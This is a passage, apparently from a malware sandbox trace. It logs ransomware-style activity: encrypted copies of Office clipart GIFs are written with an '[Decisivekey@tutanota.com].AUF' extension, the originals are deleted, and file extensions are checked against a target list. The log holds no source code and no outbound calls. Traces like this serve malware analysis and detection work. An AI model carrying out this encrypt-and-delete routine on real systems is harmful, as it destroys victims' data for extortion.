(lpString1=".dbf", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0216.031] lstrlenW (lpString=".1cd") returned 4 [0216.031] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0216.031] lstrlenW (lpString=".jpg") returned 4 [0216.031] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.033] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.033] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.033] GetLastError () returned 0x0 [0216.033] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x2340, lpOverlapped=0x0) returned 1 [0216.038] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0216.039] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.039] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.039] SetEndOfFile (hFile=0x208) returned 1 [0216.039] CloseHandle (hObject=0x208) returned 1 [0216.039] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.039] SetEndOfFile (hFile=0x1f8) returned 1 [0216.040] CloseHandle (hObject=0x1f8) returned 1 [0216.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0216.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0216.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0216.040] lstrlenW (lpString=".doc") returned 4 [0216.040] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.040] lstrlenW (lpString=".docx") returned 5 [0216.040] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.040] lstrlenW (lpString=".pdf") returned 4 [0216.040] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.040] lstrlenW (lpString=".xls") returned 4 [0216.040] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.040] lstrlenW (lpString=".xlsx") returned 5 [0216.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.040] lstrlenW (lpString=".ppt") returned 4 [0216.040] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0216.040] lstrlenW (lpString=".zip") returned 4 [0216.040] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.041] lstrlenW (lpString=".rar") returned 4 [0216.041] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.041] lstrlenW (lpString=".bz2") returned 4 [0216.041] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.041] lstrlenW (lpString=".7z") returned 3 [0216.041] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0216.041] lstrlenW (lpString=".dbf") returned 4 [0216.041] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0216.041] lstrlenW (lpString=".1cd") returned 4 [0216.041] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0216.041] lstrlenW (lpString=".jpg") returned 4 [0216.041] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.059] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=14873) returned 1 [0216.059] CloseHandle (hObject=0x208) returned 1 [0216.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0216.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.059] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.059] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.062] GetLastError () returned 0x0 [0216.062] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0216.070] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0216.071] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.071] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.071] SetEndOfFile (hFile=0x218) returned 1 [0216.071] CloseHandle (hObject=0x218) returned 1 [0216.071] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.071] SetEndOfFile (hFile=0x208) returned 1 [0216.072] CloseHandle (hObject=0x208) returned 1 [0216.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0216.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0216.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0216.072] lstrlenW (lpString=".doc") returned 4 [0216.072] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.072] lstrlenW (lpString=".docx") returned 5 [0216.072] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.072] lstrlenW (lpString=".pdf") returned 4 [0216.072] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.072] lstrlenW (lpString=".xls") returned 4 [0216.072] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.072] lstrlenW (lpString=".xlsx") returned 5 [0216.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.072] lstrlenW (lpString=".ppt") returned 4 [0216.073] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0216.073] lstrlenW (lpString=".zip") returned 4 [0216.073] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.073] lstrlenW (lpString=".rar") returned 4 [0216.073] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.073] lstrlenW (lpString=".bz2") returned 4 [0216.073] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.073] lstrlenW (lpString=".7z") returned 3 [0216.073] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0216.073] lstrlenW (lpString=".dbf") returned 4 [0216.073] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0216.073] lstrlenW (lpString=".1cd") returned 4 [0216.073] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0216.073] lstrlenW (lpString=".jpg") returned 4 [0216.073] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.073] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=8097) returned 1 [0216.073] CloseHandle (hObject=0x208) returned 1 [0216.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0216.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.073] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.073] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.074] GetLastError () returned 0x0 [0216.074] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0216.079] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0216.080] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.080] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.080] SetEndOfFile (hFile=0x218) returned 1 [0216.080] CloseHandle (hObject=0x218) returned 1 [0216.080] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.080] SetEndOfFile (hFile=0x208) returned 1 [0216.081] CloseHandle (hObject=0x208) returned 1 [0216.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0216.082] lstrlenW (lpString=".doc") returned 4 [0216.082] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.082] lstrlenW (lpString=".docx") returned 5 [0216.082] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.082] lstrlenW (lpString=".pdf") returned 4 [0216.082] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.082] lstrlenW (lpString=".xls") returned 4 [0216.082] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.082] lstrlenW (lpString=".xlsx") returned 5 [0216.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.082] lstrlenW (lpString=".ppt") returned 4 [0216.082] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0216.082] lstrlenW (lpString=".zip") returned 4 [0216.082] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.082] lstrlenW (lpString=".rar") returned 4 [0216.082] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.082] lstrlenW (lpString=".bz2") returned 4 [0216.082] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.082] lstrlenW (lpString=".7z") returned 3 [0216.082] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0216.082] lstrlenW (lpString=".dbf") returned 4 [0216.082] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0216.082] lstrlenW (lpString=".1cd") returned 4 [0216.082] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0216.082] lstrlenW (lpString=".jpg") returned 4 [0216.082] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.082] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=7686) returned 1 [0216.082] CloseHandle (hObject=0x208) returned 1 [0216.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0216.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.083] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.083] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.083] GetLastError () returned 0x0 [0216.083] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0216.090] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0216.090] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.090] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.090] SetEndOfFile (hFile=0x218) returned 1 [0216.090] CloseHandle (hObject=0x218) returned 1 [0216.091] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.091] SetEndOfFile (hFile=0x208) returned 1 [0216.091] CloseHandle (hObject=0x208) returned 1 [0216.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0216.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0216.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0216.092] lstrlenW (lpString=".doc") returned 4 [0216.092] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.092] lstrlenW (lpString=".docx") returned 5 [0216.092] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.092] lstrlenW (lpString=".pdf") returned 4 [0216.092] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.092] lstrlenW (lpString=".xls") returned 4 [0216.092] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.092] lstrlenW (lpString=".xlsx") returned 5 [0216.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.092] lstrlenW (lpString=".ppt") returned 4 [0216.092] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0216.092] lstrlenW (lpString=".zip") returned 4 [0216.092] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.092] lstrlenW (lpString=".rar") returned 4 [0216.092] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.092] lstrlenW (lpString=".bz2") returned 4 [0216.092] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.092] lstrlenW (lpString=".7z") returned 3 [0216.092] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0216.092] lstrlenW (lpString=".dbf") returned 4 [0216.092] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0216.092] lstrlenW (lpString=".1cd") returned 4 [0216.093] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0216.093] lstrlenW (lpString=".jpg") returned 4 [0216.093] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.093] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=517) returned 1 [0216.093] CloseHandle (hObject=0x208) returned 1 [0216.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0216.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.093] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.093] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.093] GetLastError () returned 0x0 [0216.093] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x205, lpOverlapped=0x0) returned 1 [0216.094] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x210, lpOverlapped=0x0) returned 1 [0216.095] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.095] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.095] SetEndOfFile (hFile=0x218) returned 1 [0216.095] CloseHandle (hObject=0x218) returned 1 [0216.095] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.095] SetEndOfFile (hFile=0x208) returned 1 [0216.096] CloseHandle (hObject=0x208) returned 1 [0216.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program 